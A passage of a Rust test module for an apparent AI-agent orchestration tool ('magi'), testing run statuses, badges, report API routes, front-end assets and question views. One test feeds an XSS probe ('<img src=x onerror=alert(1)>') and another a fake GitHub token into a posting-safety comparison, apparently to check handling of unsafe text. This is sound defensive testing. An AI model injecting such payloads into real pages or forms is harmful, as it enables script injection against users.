17738 |p| probe.borrow_mut().status(p),
17739 |p| probe.borrow_mut().started_at(p),
17740 );
17741
17742 assert_eq!(status_calls.get(), 1, "one pid, one status query");
17743 assert_eq!(identity_calls.get(), 1, "one pid, one identity query");
17744 assert_eq!(rows.len(), 4);
17745 assert!(!rows[0].waiting && rows[1].waiting);
17746 assert_eq!(rows[0].live, crate::run::Liveness::Live);
17747 assert_eq!(rows[3].live, crate::run::Liveness::Live, "claim alone");
17748 assert_eq!(rows[0].superseded_by.as_deref(), Some("cccc"));
17749 assert_eq!(rows[1].superseded_by, None);
17750 }
17751
17752 #[test]
17753 fn run_list_exposes_a_confirmed_dead_driver_for_stale_presentation() {
17754 let mut state = RunState::new(
17755 PathBuf::from("/repo/magi"),
17756 "main".to_owned(),
17757 "0123456789abcdef".to_owned(),
17758 "Review only".to_owned(),
17759 Config::default(),
17760 );
17761 state.id = "20260922-090200-dead".to_owned();
17762 state.status = RunStatus::Reviewing;
17763 let row = serde_json::to_value(RunSummary::of(&state, false, crate::run::Liveness::Dead))
17764 .expect("serialize list row");
17765 assert_eq!(row["status"], "reviewing");
17766 assert_eq!(row["display_status"], "stale");
17767 assert_eq!(row["live"], "dead", "{row}");
17768 assert!(!row["done"].as_bool().unwrap());
17769 }
17770
17771 #[test]
17772 fn run_display_status_distinguishes_park_crash_and_owner_wait() {
17773 use crate::run::Liveness::{Dead, Live, Unknown};
17774 let mut state = RunState::new(
17775 PathBuf::from("/repo/magi"),
17776 "main".to_owned(),
17777 "abc".to_owned(),
17778 "Review only".to_owned(),
17779 Config::default(),
17780 );
17781 for (status, parked, node, waiting, live, expected) in [
17782 (
17783 RunStatus::Judging,
17784 true,
17785 "github-text",
17786 false,
17787 Dead,
17788 "parked",
17789 ),
17790 (RunStatus::Judging, false, "park", false, Dead, "stale"),
17791 (RunStatus::Judging, false, "judge", false, Dead, "stale"),
17792 (
17793 RunStatus::Judging,
17794 true,
17795 "github-text",
17796 true,
17797 Dead,
17798 "waiting",
17799 ),
17800 (
17801 RunStatus::Judging,
17802 false,
17803 "github-text",
17804 true,
17805 Dead,
17806 "waiting",
17807 ),
17808 (
17809 RunStatus::Judging,
17810 false,
17811 "github-text",
17812 false,
17813 Dead,
17814 "stale",
17815 ),
17816 (RunStatus::Judging, false, "resume", false, Dead, "stale"),
17817 (RunStatus::Judging, true, "park", false, Live, "judging"),
17818 (RunStatus::Judging, true, "park", false, Unknown, "judging"),
17819 (RunStatus::Merged, true, "park", false, Dead, "merged"),
17820 (RunStatus::Blocked, true, "park", false, Dead, "blocked"),
17821 (
17822 RunStatus::Blocked,
17823 true,
17824 "github-text",
17825 true,
17826 Dead,
17827 "waiting",
17828 ),
17829 ] {
17830 state.status = status;
17831 state.parked = parked;
17832 state.events.clear();
17833 state.event(
17834 "park",
17835 "an earlier park does not determine the latest state",
17836 );
17837 state.event(node, "message is not used for classification");
17838 let summary = RunSummary::of(&state, waiting, live);
17839 let detail = RunDetailView::of(state.clone(), waiting, live, None, None, None);
17840 assert_eq!(
17841 summary.display_status, expected,
17842 "{status:?}/{node}/{live:?}"
17843 );
17844 assert_eq!(detail.display_status, summary.display_status);
17845 assert_eq!(detail.waiting, summary.waiting);
17846 }
17847 state.status = RunStatus::Judging;
17848 state.parked = false;
17849 state.events.clear();
17850 assert_eq!(run_display_status(&state, false, Dead), "stale");
17851 }
17852
17853 #[test]
17854 fn badge_status_prefers_superseded_then_stale_and_spares_live_and_terminal() {
17855 use crate::run::Liveness::{Dead, Live, Unknown};
17856 let mut state = RunState::new(
17857 PathBuf::from("/repo/magi"),
17858 "main".to_owned(),
17859 "abc".to_owned(),
17860 "Badge".to_owned(),
17861 Config::default(),
17862 );
17863 for (status, waiting, live, superseded, expected) in [
17864 (RunStatus::Gating, false, Dead, false, "stale"),
17865 (RunStatus::Gating, false, Dead, true, "superseded"),
17866 (RunStatus::Gating, false, Unknown, true, "superseded"),
17867 (RunStatus::Gating, true, Dead, true, "superseded"),
17868 (RunStatus::Gating, true, Dead, false, "waiting"),
17869 (RunStatus::Gating, false, Unknown, false, "gating"),
17870 (RunStatus::Gating, false, Live, true, "gating"),
17871 (RunStatus::Gating, true, Live, true, "waiting"),
17872 (RunStatus::Merged, false, Dead, true, "merged"),
17873 (RunStatus::Blocked, false, Dead, true, "blocked"),
17874 ] {
17875 state.status = status;
17876 let display = run_display_status(&state, waiting, live);
17877 assert_eq!(
17878 run_badge_status(&state, &display, live, superseded),
17879 expected,
17880 "{status:?}/{live:?}/superseded={superseded}"
17881 );
17882 }
17883 }
17884
17885 #[test]
17886 fn summarize_and_detail_expose_badge_status() {
17887 use crate::run::Liveness::Dead;
17888 let mut state = RunState::new(
17889 PathBuf::from("/repo/magi"),
17890 "main".to_owned(),
17891 "abc".to_owned(),
17892 "Badge".to_owned(),
17893 Config::default(),
17894 );
17895 state.status = RunStatus::Gating;
17896 let none = HashSet::new();
17897 let id = state.id.clone();
17898 let mut by = HashMap::new();
17899 let rows = summarize(
17900 [state.clone()],
17901 &none,
17902 &none,
17903 &by,
17904 |_| Some(false),
17905 |_| None,
17906 );
17907 assert_eq!(rows[0].badge_status, rows[0].display_status);
17909 by.insert(id, "20260901-000000-913b".to_owned());
17910 let detail = RunDetailView::of(
17911 state.clone(),
17912 false,
17913 Dead,
17914 Some("913b".to_owned()),
17915 None,
17916 None,
17917 );
17918 assert_eq!(detail.badge_status, "superseded");
17919 let json = serde_json::to_value(&detail).unwrap();
17920 assert_eq!(json["badge_status"], "superseded");
17921 let detail = RunDetailView::of(state, false, Dead, None, None, None);
17922 assert_eq!(detail.badge_status, "stale");
17923 }
17924
17925 #[tokio::test]
17926 async fn run_display_status_routes_share_the_open_question_store() {
17927 let f = Fixture::start().await;
17928 let id = "20260922-090200-abcd";
17929 write_run(&f.runs(), id, RunStatus::Judging);
17930 let mut state = read_run(&f.runs(), id).unwrap();
17931 state.parked = true;
17932 state.driver_exited = true;
17933 state.event("github-text", "waiting for the owner");
17934 state.save_under(f.home.path()).unwrap();
17935 let mut task = Task::new(
17936 "resumed task".to_owned(),
17937 "do it".to_owned(),
17938 PathBuf::from("/repo"),
17939 Source::Human,
17940 );
17941 task.runs = vec![id.to_owned(), id.to_owned()];
17942 f.queue().put(&mut task).unwrap();
17943 let store = f.questions();
17944 let mut q = Question::new(
17945 id.to_owned(),
17946 "github-text".to_owned(),
17947 "owner".to_owned(),
17948 "Approve the text?".to_owned(),
17949 String::new(),
17950 Vec::new(),
17951 );
17952 store.put(&mut q).unwrap();
17953 for expected in ["waiting", "parked"] {
17954 let list = f.get("/api/runs").await.json();
17955 let detail = f.get(&format!("/api/runs/{id}")).await.json();
17956 assert_eq!(list[0]["display_status"], expected);
17957 assert_eq!(detail["display_status"], expected);
17958 assert_eq!(detail["waiting"], list[0]["waiting"]);
17959 assert_eq!(list[0]["badge_status"], expected);
17960 assert_eq!(detail["badge_status"], expected);
17961 assert!(list[0]["superseded_by"].is_null());
17962 assert!(detail["superseded_by"].is_null());
17963 let task_detail = f.get(&format!("/api/queue/{}", task.id)).await.json();
17964 let history = task_detail["history"].as_array().unwrap();
17965 assert_eq!(history.len(), 2);
17966 assert!(history[0]["badge"].is_null());
17967 assert_eq!(history[1]["badge"], expected);
17968 q.status = ask::QuestionStatus::Answered;
17969 store.put(&mut q).unwrap();
17970 }
17971 }
17972
17973 #[tokio::test]
17974 async fn a_resumed_crashed_driver_is_stale_despite_its_last_park_event() {
17975 let f = Fixture::start().await;
17976 let id = "20260922-090200-abcd";
17977 write_run(&f.runs(), id, RunStatus::Judging);
17978 let mut state = read_run(&f.runs(), id).unwrap();
17979 state.parked = true;
17980 state.driver_exited = true;
17981 state.event("park", "stopped at a node boundary");
17982 state.save_under(f.home.path()).unwrap();
17983
17984 for expected in ["parked", "stale"] {
17985 let list = f.get("/api/runs").await.json();
17986 let detail = f.get(&format!("/api/runs/{id}")).await.json();
17987 assert_eq!(list[0]["live"], "dead");
17988 assert_eq!(list[0]["display_status"], expected);
17989 assert_eq!(detail["display_status"], expected);
17990 state.parked = false;
17993 state.save_under(f.home.path()).unwrap();
17994 }
17995 }
17996
17997 #[tokio::test]
17998 async fn the_run_list_is_newest_first_and_honours_a_limit() {
17999 let f = Fixture::start().await;
18000 for id in [
18001 "20260902-140501-aaaa",
18002 "20260902-140502-bbbb",
18003 "20260902-140503-cccc",
18004 ] {
18005 write_run(&f.runs(), id, RunStatus::Merged);
18006 }
18007
18008 let all = f.get("/api/runs").await.json();
18009 let capped = f.get("/api/runs?limit=2").await.json();
18010
18011 assert_eq!(all[0]["id"], "20260902-140503-cccc");
18012 assert_eq!(all.as_array().map(Vec::len), Some(3));
18013 assert_eq!(capped.as_array().map(Vec::len), Some(2));
18014 assert_eq!(capped[0]["id"], "20260902-140503-cccc");
18015 }
18016
18017 #[tokio::test]
18018 async fn the_report_route_serves_the_terminal_report_as_plain_text() {
18019 let f = Fixture::start().await;
18020 write_run(&f.runs(), "20260902-140501-a1b2", RunStatus::Blocked);
18021
18022 let res = f.get("/api/runs/20260902-140501-a1b2/report").await;
18023
18024 assert_eq!(res.status, 200);
18025 assert!(
18026 res.headers
18027 .contains("content-type: text/plain; charset=utf-8"),
18028 "a browser must render it, not download it: {}",
18029 res.headers
18030 );
18031 assert!(
18035 res.body.contains("20260902-140501-a1b2"),
18036 "the report is about the run that was asked for: {}",
18037 res.body
18038 );
18039 }
18040
18041 #[tokio::test]
18042 async fn the_report_json_route_serves_sections_and_never_hides_an_unreadable_run() {
18043 crate::run::pin_test_home();
18045 let f = Fixture::start().await;
18046 let id = "20260902-140501-a1b2";
18047 write_run(&f.runs(), id, RunStatus::Stalled);
18048 let path = f.runs().join(id).join("run.json");
18051 let mut v: serde_json::Value =
18052 serde_json::from_str(&std::fs::read_to_string(&path).unwrap()).unwrap();
18053 v["tally"] = serde_json::json!({
18054 "first_choice": {"A": 1}, "borda": {"A": 2}, "winner": "A",
18055 "unanimous_initial": true, "deliberated": false, "changed_votes": 0,
18056 "unanimous_final": true, "judges": 3, "present": 1, "quorum": 2,
18057 "met_quorum": false, "rankings": 1
18058 });
18059 v["reviews"] = serde_json::json!([{
18060 "round": 1, "head": "abcdef0123", "answered": 1, "expected": 1, "blocking": 1,
18061 "e2e_deferred": true,
18062 "reviews": [{"reviewer": 1, "agent": "a", "findings": [
18063 {"id": "R1-1-1", "severity": "major", "title": "t", "file": "src/a.rs", "line": 3}
18064 ]}]
18065 }]);
18066 std::fs::write(&path, v.to_string()).unwrap();
18067 write_run(&f.runs(), "20260902-140502-dead", RunStatus::Blocked);
18068 std::fs::write(
18069 f.runs().join("20260902-140502-dead").join("run.json"),
18070 "{not json",
18071 )
18072 .unwrap();
18073
18074 let res = f.get(&format!("/api/runs/{id}/report.json")).await;
18075
18076 assert_eq!(res.status, 200, "{}", res.body);
18077 assert!(res.headers.contains("content-type: application/json"));
18078 let j = res.json();
18079 assert_eq!(j["schema"], 1);
18080 assert_eq!(j["header"]["id"], id);
18081 assert_eq!(j["header"]["tone"], "warn", "a stalled run is never ok");
18082 let kinds: Vec<&str> = j["sections"]
18083 .as_array()
18084 .unwrap()
18085 .iter()
18086 .map(|s| s["kind"].as_str().unwrap())
18087 .collect();
18088 assert_eq!(kinds, ["candidates", "tally", "review"]);
18089 let tally = &j["sections"][1]["tally"];
18090 assert_eq!(
18091 (tally["decided"].clone(), tally["provisional"].clone()),
18092 (false.into(), true.into())
18093 );
18094 let round = &j["sections"][2]["rounds"][0];
18095 assert_eq!(round["e2e"]["state"], "deferred");
18096 assert_eq!(round["findings"][0]["severity"], "major");
18097 assert_eq!(round["findings"][0]["blocking"], true);
18098 assert_eq!(round["findings"][0]["state"], "open");
18099
18100 assert_eq!(f.get(&format!("/api/runs/{id}/report")).await.status, 200);
18102
18103 let bad = f.get("/api/runs/20260902-140502-dead/report.json").await;
18105 assert_ne!(bad.status, 200, "{}", bad.body);
18106 assert_eq!(
18107 bad.status,
18108 f.get("/api/runs/20260902-140502-dead/report").await.status
18109 );
18110 assert_eq!(f.get("/api/health").await.json()["runs_unreadable"], 1);
18111 assert_eq!(
18112 f.get("/api/runs/20260902-999999-ffff/report.json")
18113 .await
18114 .status,
18115 404
18116 );
18117 }
18118
18119 #[tokio::test]
18120 async fn the_report_json_route_serves_deliberation_turns_with_markdown_bodies() {
18121 crate::run::pin_test_home();
18122 let f = Fixture::start().await;
18123 let id = "20260902-140503-delib";
18124 write_run(&f.runs(), id, RunStatus::Merged);
18125 let path = f.runs().join(id).join("run.json");
18126 let mut v: serde_json::Value =
18127 serde_json::from_str(&std::fs::read_to_string(&path).unwrap()).unwrap();
18128 v["judgements"] = serde_json::json!([
18129 {"judge": 1, "agent": "judge-1", "ranking": ["A", "B"], "seat": "judge-1"}
18130 ]);
18131 v["tally"] = serde_json::json!({
18132 "first_choice": {"A": 1}, "borda": {"A": 2}, "winner": "A",
18133 "unanimous_initial": false, "deliberated": true, "changed_votes": 0,
18134 "unanimous_final": true, "judges": 1, "present": 1, "quorum": 1,
18135 "met_quorum": true, "rankings": 1
18136 });
18137 v["deliberation"] = serde_json::json!([
18138 {
18139 "round": 1,
18140 "turns": [
18141 {
18142 "judge": 1,
18143 "agent": "judge-1",
18144 "body": "I prefer candidate **A** because it has cleaner tests.",
18145 "tentative": "A"
18146 }
18147 ]
18148 },
18149 {
18150 "round": 2,
18151 "turns": [
18152 {
18153 "judge": 1,
18154 "agent": "judge-1",
18155 "body": "Still thinking, no choice yet.",
18156 "tentative": null
18157 }
18158 ]
18159 }
18160 ]);
18161 std::fs::write(&path, v.to_string()).unwrap();
18162
18163 let res = f.get(&format!("/api/runs/{id}/report.json")).await;
18164 assert_eq!(res.status, 200, "{}", res.body);
18165 let j = res.json();
18166 let judging = j["sections"]
18167 .as_array()
18168 .unwrap()
18169 .iter()
18170 .find(|s| s["kind"] == "judging")
18171 .expect("judging section exists");
18172
18173 let delib_lines = judging["deliberation"].as_array().unwrap();
18175 assert_eq!(delib_lines.len(), 2);
18176 assert_eq!(delib_lines[0], "r1 judge 1 -> A");
18177 assert_eq!(delib_lines[1], "r2 judge 1 -> -");
18178
18179 let rounds = judging["rounds"].as_array().unwrap();
18181 assert_eq!(rounds.len(), 2);
18182 let r1_t0 = &rounds[0]["turns"][0];
18183 assert_eq!(r1_t0["judge"], 1);
18184 assert_eq!(r1_t0["agent"], "judge-1");
18185 assert_eq!(r1_t0["tentative"], "A");
18186 assert_eq!(
18187 r1_t0["body"],
18188 "I prefer candidate **A** because it has cleaner tests."
18189 );
18190 assert!(!r1_t0["body_md"].as_array().unwrap().is_empty());
18191
18192 let r2_t0 = &rounds[1]["turns"][0];
18193 assert_eq!(r2_t0["judge"], 1);
18194 assert_eq!(r2_t0["agent"], "judge-1");
18195 assert!(r2_t0["tentative"].is_null());
18196 assert_eq!(r2_t0["body"], "Still thinking, no choice yet.");
18197 assert!(!r2_t0["body_md"].as_array().unwrap().is_empty());
18198
18199 let id_empty = "20260902-140504-nodelib";
18201 write_run(&f.runs(), id_empty, RunStatus::Merged);
18202 let path_empty = f.runs().join(id_empty).join("run.json");
18203 let mut v_empty: serde_json::Value =
18204 serde_json::from_str(&std::fs::read_to_string(&path_empty).unwrap()).unwrap();
18205 v_empty["judgements"] = serde_json::json!([
18206 {"judge": 1, "agent": "judge-1", "ranking": ["A", "B"], "seat": "judge-1"}
18207 ]);
18208 v_empty["deliberation"] = serde_json::json!([]);
18209 std::fs::write(&path_empty, v_empty.to_string()).unwrap();
18210
18211 let res_empty = f.get(&format!("/api/runs/{id_empty}/report.json")).await;
18212 assert_eq!(res_empty.status, 200, "{}", res_empty.body);
18213 let j_empty = res_empty.json();
18214 let judging_empty = j_empty["sections"]
18215 .as_array()
18216 .unwrap()
18217 .iter()
18218 .find(|s| s["kind"] == "judging")
18219 .expect("judging section exists");
18220 assert_eq!(judging_empty["rounds"].as_array().unwrap().len(), 0);
18221 }
18222
18223 #[tokio::test]
18224 async fn the_front_end_is_served_from_the_binary_with_types_a_phone_renders() {
18225 let f = Fixture::start().await;
18226
18227 let html = f.get("/").await;
18228 let css = f.get("/app.css").await;
18229 let js = f.get("/app.js").await;
18230
18231 assert_eq!((html.status, css.status, js.status), (200, 200, 200));
18232 assert!(
18233 html.headers
18234 .contains("content-type: text/html; charset=utf-8")
18235 );
18236 assert!(css.headers.contains("content-type: text/css"));
18237 assert!(js.headers.contains("content-type: text/javascript"));
18238 assert_eq!(html.body, INDEX_HTML, "compiled in, never read from disk");
18239 }
18240
18241 #[test]
18242 fn a_land_with_no_fix_rounds_says_so_instead_of_an_empty_rail() {
18243 let body = |name: &str| {
18244 let at = APP_JS
18245 .find(name)
18246 .unwrap_or_else(|| panic!("{name} missing"));
18247 &APP_JS[at..at + 2500.min(APP_JS.len() - at)]
18248 };
18249 assert!(body("function roundRail").contains("if (round <= 0) return null;"));
18250 let note = body("function landRoundNote");
18251 assert!(note.contains("No fix rounds needed (0 of ${rounds} used)."));
18252 assert!(note.contains("Land round ${round}"));
18253 let land = body("function renderLand");
18254 let note_at = land
18255 .find("landRoundNote(pr)")
18256 .expect("renderLand uses the note");
18257 assert!(
18258 note_at
18259 < land
18260 .find("roundRail(pr)")
18261 .expect("renderLand uses the rail")
18262 );
18263 }
18264
18265 #[test]
18266 fn the_runs_page_redesign_keeps_its_guards() {
18267 let body = |name: &str| {
18268 let at = APP_JS
18269 .find(name)
18270 .unwrap_or_else(|| panic!("{name} missing"));
18271 &APP_JS[at..at + 2500.min(APP_JS.len() - at)]
18272 };
18273 let land = body("function renderLand");
18275 let land = &land[..land.find("function followupList").unwrap_or(land.len())];
18276 assert!(
18277 !land.contains("box.append("),
18278 "renderLand must use append()"
18279 );
18280 assert!(land.contains("append(box, ["));
18281 assert!(body("function parseRoute").contains("RUN_TABS.includes(parts[2])"));
18283 assert!(
18284 body("function applyRoute")
18285 .contains("route.name !== state.route.name || route.id !== state.route.id")
18286 );
18287 assert!(!APP_JS.contains("adviseConvergeDiagram"));
18289 assert!(!INDEX_HTML.contains("advise-converge"));
18290 assert!(INDEX_HTML.contains("id=\"advise-strip\""));
18291 assert!(APP_JS.contains("provisional"));
18292 for id in [
18293 "run-tab-overview",
18294 "run-tab-timeline",
18295 "run-tab-report",
18296 "run-report",
18297 "runs-scope",
18298 ] {
18299 assert!(INDEX_HTML.contains(&format!("id=\"{id}\"")), "{id}");
18300 }
18301 assert!(!INDEX_HTML.contains("runs-tree"));
18302 assert!(!INDEX_HTML.contains("run-raw-panel"));
18303 assert!(APP_JS.contains("resume"));
18305 assert!(APP_JS.contains("unreadable"));
18307 }
18308
18309 #[test]
18310 fn the_unreadable_banner_is_dismissible_per_count_and_the_count_stays() {
18311 assert!(APP_JS.contains("magi-stats-unreadable-dismissed"));
18312 assert!(APP_JS.contains("s.runs_unreadable > 0 && s.runs_unreadable !== dismissed"));
18313 assert!(APP_JS.contains("setText(\n $(\"stats-unreadable-text\")"));
18314 assert!(INDEX_HTML.contains("id=\"stats-unreadable-close\""));
18315 assert!(INDEX_HTML.contains("aria-label=\"Dismiss unreadable-runs warning\""));
18316 assert!(APP_JS.contains("unreadable` : null"));
18318 }
18319
18320 #[test]
18321 fn blocked_run_detail_exposes_the_failed_gate_reason() {
18322 let mut state = RunState::new(
18323 "/repo".into(),
18324 "main".into(),
18325 "abc".into(),
18326 "task".into(),
18327 crate::config::Config::default(),
18328 );
18329 state.status = RunStatus::Blocked;
18330 state.gate_ran = true;
18331 state.gate.push(crate::run::CommandOutcome {
18332 command: "cargo make check".into(),
18333 code: Some(1),
18334 output_tail: "test web::tests::talks_report_independent_thinking_claims_and_queue_a_second_message ... FAILED\ntest result: FAILED. 1813 passed; 1 failed; 0 ignored;".into(),
18335 duration_ms: 0,
18336 resource_blocked: false,
18337 });
18338 let view = RunDetailView::of(
18339 state,
18340 false,
18341 crate::run::Liveness::Unknown,
18342 None,
18343 None,
18344 None,
18345 );
18346 let value = serde_json::to_value(view).unwrap();
18347 assert_eq!(
18348 value["stop_reason"],
18349 "Gate failed: cargo make check — web::tests::talks_report_independent_thinking_claims_and_queue_a_second_message (1 failed)"
18350 );
18351 }
18352
18353 #[test]
18354 fn the_run_detail_payload_says_whether_the_run_is_done() {
18355 for (status, done) in [
18357 (RunStatus::Superseded, true),
18358 (RunStatus::Blocked, true),
18359 (RunStatus::Landing, false),
18360 ] {
18361 let mut state = RunState::new(
18362 std::path::PathBuf::from("/repo"),
18363 "main".to_owned(),
18364 "abc".to_owned(),
18365 "x".to_owned(),
18366 crate::config::Config::default(),
18367 );
18368 state.status = status;
18369 let v = serde_json::to_value(RunDetailView::of(
18370 state,
18371 false,
18372 crate::run::Liveness::Unknown,
18373 None,
18374 None,
18375 None,
18376 ))
18377 .unwrap();
18378 assert_eq!(v["done"], done, "{status:?}");
18379 }
18380 }
18381
18382 fn has_strong(nodes: &[md::Node]) -> bool {
18384 serde_json::to_string(nodes).unwrap().contains("strong")
18385 }
18386
18387 #[test]
18388 fn the_run_detail_payload_carries_markdown_for_agent_prose() {
18389 let mut state = RunState::new(
18390 std::path::PathBuf::from("/repo"),
18391 "main".to_owned(),
18392 "abc".to_owned(),
18393 "x".to_owned(),
18394 crate::config::Config::default(),
18395 );
18396 let proposal = |approach: &str| {
18397 serde_json::json!({
18398 "approach": approach, "key_tradeoff": "t", "why_not_naive": "w",
18399 })
18400 };
18401 state.advice = Some(
18402 serde_json::from_value(serde_json::json!({
18403 "records": [
18404 {"seat": "advisor-1", "agent": "a", "duration_ms": 1,
18405 "proposal": proposal("do **this**")},
18406 {"seat": "advisor-2", "agent": "b", "duration_ms": 1, "error": "no"},
18407 ],
18408 "synthesis": "- one\n- **two**\n\n`code`",
18409 }))
18410 .unwrap(),
18411 );
18412 state.candidates = serde_json::from_value(serde_json::json!([
18413 {"index": 0, "label": "A", "agent": "a", "branch": "b", "worktree": "/w",
18414 "summary": "did **it**"},
18415 {"index": 1, "label": "B", "agent": "a", "branch": "b", "worktree": "/w"},
18416 ]))
18417 .unwrap();
18418 state.reviews = serde_json::from_value(serde_json::json!([{
18421 "round": 1, "head": "h",
18422 "reviews": [{
18423 "reviewer": 1, "agent": "a", "summary": "sum **mary**",
18424 "findings": [
18425 {"severity": "nit", "title": "t1", "detail": "plain nit"},
18426 {"severity": "blocker", "title": "t2", "detail": "bad **blocker**"},
18427 ],
18428 }],
18429 "reconsideration": [{"reviewer": 1, "agent": "a", "reason": "because **so**"}],
18430 "fix": {"agent": "a", "notes": "fixed **it**",
18431 "rejected": [{"id": "R1-1-1", "why": "no **way**"}]},
18432 }, {"round": 2, "head": "h2", "reviews": []}]))
18433 .unwrap();
18434
18435 let v = serde_json::to_value(RunDetailView::of(
18436 state,
18437 false,
18438 crate::run::Liveness::Unknown,
18439 None,
18440 None,
18441 None,
18442 ))
18443 .unwrap();
18444
18445 let strong = |p: &str| {
18446 let n = v.pointer(p).unwrap_or_else(|| panic!("missing {p}"));
18447 assert!(n.to_string().contains("strong"), "{p}: {n}");
18448 };
18449 strong("/advice_md/synthesis");
18450 assert!(v["advice_md"]["synthesis"].to_string().contains("code"));
18451 assert!(v["advice_md"]["synthesis"].to_string().contains("list"));
18452 strong("/advice_md/approaches/0");
18453 assert_eq!(v["advice_md"]["approaches"][1], serde_json::json!([]));
18454 strong("/candidate_summaries_md/0");
18455 assert_eq!(v["candidate_summaries_md"][1], serde_json::json!([]));
18456 strong("/reviews_md/0/reviewers/0/summary");
18457 let f = &v["reviews_md"][0]["reviewers"][0]["findings"];
18458 assert!(!f[0].to_string().contains("strong"), "recorded order kept");
18459 assert!(f[1].to_string().contains("strong"));
18460 strong("/reviews_md/0/reconsideration/0");
18461 strong("/reviews_md/0/fix/notes");
18462 strong("/reviews_md/0/fix/rejected/0");
18463 assert_eq!(v["reviews_md"][1]["fix"], serde_json::Value::Null);
18464 assert_eq!(v["reviews_md"][1]["reviewers"], serde_json::json!([]));
18465 assert_eq!(v["candidates"][0]["summary"], "did **it**");
18467 assert!(has_strong(&md::to_nodes("**x**", &md::ImageBase::None)));
18468 }
18469
18470 #[test]
18471 fn a_run_without_advice_has_no_advice_md() {
18472 let state = RunState::new(
18473 std::path::PathBuf::from("/repo"),
18474 "main".to_owned(),
18475 "abc".to_owned(),
18476 "x".to_owned(),
18477 crate::config::Config::default(),
18478 );
18479 let p = run_prose_md(&state);
18480 assert!(p.advice_md.is_none());
18481 assert!(p.candidate_summaries_md.is_empty() && p.reviews_md.is_empty());
18482 }
18483
18484 #[test]
18485 fn posting_comparison_view_validates_metadata_and_supports_legacy_questions() {
18486 let store = ask::Questions::at(PathBuf::from("unused"));
18487 let gt = crate::github_text::Withheld {
18488 title: false,
18489 body: true,
18490 categories: vec!["sensitive-data".into()],
18491 };
18492 let body = "<img src=x onerror=alert(1)> & 192.0.2.1";
18493 let (detail, comparison) =
18494 crate::github_text::question_content(>, "fix: x", body, "r", None, None, None);
18495 let mut q = Question::new(
18496 "r".into(),
18497 "github-text".into(),
18498 "posting-gate".into(),
18499 "s".into(),
18500 detail,
18501 Vec::new(),
18502 );
18503 assert!(
18504 QuestionView::of(q.clone(), &store, None)
18505 .posting_view
18506 .is_none()
18507 );
18508 q.posting_comparison = Some(comparison);
18509 let view = QuestionView::of(q.clone(), &store, None);
18510 let field = &view.posting_view.unwrap().fields[0];
18511 assert_eq!(
18512 field
18513 .original
18514 .iter()
18515 .map(|f| f.text.as_str())
18516 .collect::<String>(),
18517 body
18518 );
18519 assert!(field.original[0].text.starts_with("<img"));
18520 let original_question: Question =
18521 serde_json::from_str(&serde_json::to_string(&q).unwrap()).unwrap();
18522 assert_eq!(original_question, q);
18523 q.posting_comparison.as_mut().unwrap().fields[0].pairs[0]
18524 .original
18525 .start = 1;
18526 assert!(
18527 QuestionView::of(q.clone(), &store, None)
18528 .posting_view
18529 .is_none()
18530 );
18531 q.posting_comparison = original_question.posting_comparison;
18532 q.detail.push_str("extra context");
18533 assert!(
18534 QuestionView::of(q.clone(), &store, None)
18535 .posting_view
18536 .is_some()
18537 );
18538 q.detail.insert(0, 'x');
18539 assert!(QuestionView::of(q, &store, None).posting_view.is_none());
18540 }
18541
18542 #[test]
18543 fn posting_comparison_whole_field_view_carries_unique_trigger_groups() {
18544 let store = ask::Questions::at(PathBuf::from("unused"));
18545 let body = "日本語の説明です。\nghp_abcdefghijklmnop\nMore context.\nghp_abcdefghijklmnop";
18546 let gt = crate::github_text::Withheld::from_check(
18547 &crate::github_text::check("fix: x", body),
18548 "fix: x",
18549 body,
18550 )
18551 .unwrap();
18552 let (detail, comparison) =
18553 crate::github_text::question_content(>, "fix: x", body, "r", None, None, None);
18554 let mut q = Question::new(
18555 "r".into(),
18556 "github-text".into(),
18557 "posting-gate".into(),
18558 "s".into(),
18559 detail,
18560 Vec::new(),
18561 );
18562 q.posting_comparison = Some(comparison);
18563 let value = serde_json::to_value(QuestionView::of(q.clone(), &store, None)).unwrap();
18564 let field = &value["posting_view"]["fields"][0];
18565 let group = &field["replacement_group"];
18566 let triggers = group["triggers"].as_array().unwrap();
18567 assert_eq!(triggers.len(), 2);
18568 assert_ne!(triggers[0], triggers[1]);
18569 for id in triggers {
18570 assert!(
18571 field["original"]
18572 .as_array()
18573 .unwrap()
18574 .iter()
18575 .any(|f| &f["pair"] == id)
18576 );
18577 assert!(
18578 !field["changed"]
18579 .as_array()
18580 .unwrap()
18581 .iter()
18582 .any(|f| &f["pair"] == id)
18583 );
18584 }
18585 q.posting_comparison.as_mut().unwrap().fields[0].original_triggers[0].id =
18586 group["id"].as_u64().unwrap() as usize;
18587 assert!(
18588 QuestionView::of(q, &store, None).posting_view.is_none(),
18589 "group and trigger IDs cannot collide"
18590 );
18591 }
18592
18593 #[test]
18594 fn a_question_view_carries_markdown_for_each_thread_turn() {
18595 let home = TempDir::new().unwrap();
18596 let store = ask::Questions::at(home.path().join("questions"));
18597 let mut q = Question::new(
18598 "run".to_owned(),
18599 "implement".to_owned(),
18600 "impl-A".to_owned(),
18601 "which?".to_owned(),
18602 String::new(),
18603 Vec::new(),
18604 );
18605 q.say("plain words").unwrap();
18606 q.reply("use **this**", Vec::new()).unwrap();
18607 let v = serde_json::to_value(QuestionView::of(q, &store, None)).unwrap();
18608 let bodies = &v["thread_bodies_md"];
18609 assert_eq!(bodies.as_array().unwrap().len(), 2);
18610 assert!(!bodies[0].to_string().contains("strong"));
18611 assert!(bodies[1].to_string().contains("strong"));
18612 }
18613
18614 #[test]
18615 fn a_question_view_carries_each_turns_deputy_note_as_markdown() {
18616 let home = TempDir::new().unwrap();
18617 let store = ask::Questions::at(home.path().join("questions"));
18618 let mut q = Question::new(
18619 "run".to_owned(),
18620 "conduct".to_owned(),
18621 "conduct".to_owned(),
18622 "which?".to_owned(),
18623 String::new(),
18624 Vec::new(),
18625 );
18626 q.say("plain words").unwrap();
18627 q.thread.push(ask::Turn {
18628 who: ask::Who::Agent,
18629 body: "Settled as `merge`".to_owned(),
18630 at: jiff::Timestamp::now(),
18631 note: Some("filed `abc123` _Fix [R1-1]_ (held; `magi task release abc123`)".to_owned()),
18632 });
18633 let v = serde_json::to_value(QuestionView::of(q, &store, None)).unwrap();
18634 let notes = &v["thread_notes_md"];
18635 assert_eq!(notes.as_array().unwrap().len(), 2);
18636 assert!(notes[0].is_null());
18637 let text = notes[1].to_string();
18638 assert!(text.contains("abc123") && text.contains("R1-1"), "{text}");
18639 assert!(APP_JS.contains("ask-turn-note"));
18640 }
18641
18642 #[test]
18643 fn a_finished_run_with_a_stale_open_pr_is_not_painted_as_landing() {
18644 assert!(APP_JS.contains("function landView(run, raw) {"));
18648 assert!(
18649 APP_JS.contains(
